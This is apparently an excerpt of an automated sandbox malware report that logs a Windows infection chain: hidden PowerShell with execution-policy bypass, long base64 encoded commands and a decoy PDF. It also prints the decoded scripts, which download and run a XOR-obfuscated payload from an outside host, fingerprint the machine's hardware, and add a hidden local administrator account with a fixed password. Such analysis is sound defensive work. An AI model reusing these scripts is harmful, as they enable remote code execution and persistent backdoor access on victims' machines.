Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7952	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 964	Thread sleep count: 6450 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 768	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 768	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7448	Thread sleep count: 3218 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8164	Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5060	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7648	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9028	Thread sleep count: 5227 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9032	Thread sleep count: 776 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9156	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8988	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9152	Thread sleep count: 6751 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9160	Thread sleep count: 2120 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9184	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9172	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: powershell.exe, 0000000B.00000002.2269320725.000001DADA555000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000B.00000002.2269320725.000001DADA555000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: powershell.exe, 00000006.00000002.1853738479.000002747B4C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW", "%SystemRoot%\system32\mswsock.dll-Runspace", "Debug-Runspace", "Enable-RunspaceDebug", "Disable-RunspaceDebug", "Get-RunspaceDebug", "Wait-Debugger",
Source: powershell.exe, 00000000.00000002.1904091251.000002726CF69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000B.00000002.2269320725.000001DADA555000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000000.00000002.1905958263.000002726D0C8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3064844354.000001DAF1C25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 0000001F.00000002.2966907531.00000244F2797000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllD

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\svczHost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAG

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://kingsmaker.ca/file2/9aea8bf833c8770959db7c728f4ccdcfc8f4e930af4dd44e65213b9b4a478e5f86dc119a0810194a9087440b790382eb7115a9d6a33bc02028e55678abe02ad45d48e9afa93af837531e35b1c88e6bfcafa27d82ee244203b86a650acf33460676e19e4d50ccbf7b795575b481ec4d43";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://kingsmaker.ca/file2/9aea8bf833c8770959db7c728f4ccdcfc8f4e930af4dd44e65213b9b4a478e5f86dc119a0810194a9087440b790382eb7115a9d6a33bc02028e55678abe02ad45d48e9afa93af837531e35b1c88e6bfcafa27d82ee244203b86a650acf33460676e19e4d50ccbf7b795575b481ec4d43";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9F33.tmp" "c:\Users\user\AppData\Local\Temp\plizasuj\CSCCBC46C10AB9F47138B8378156B25D455.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\Company Booklet.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AG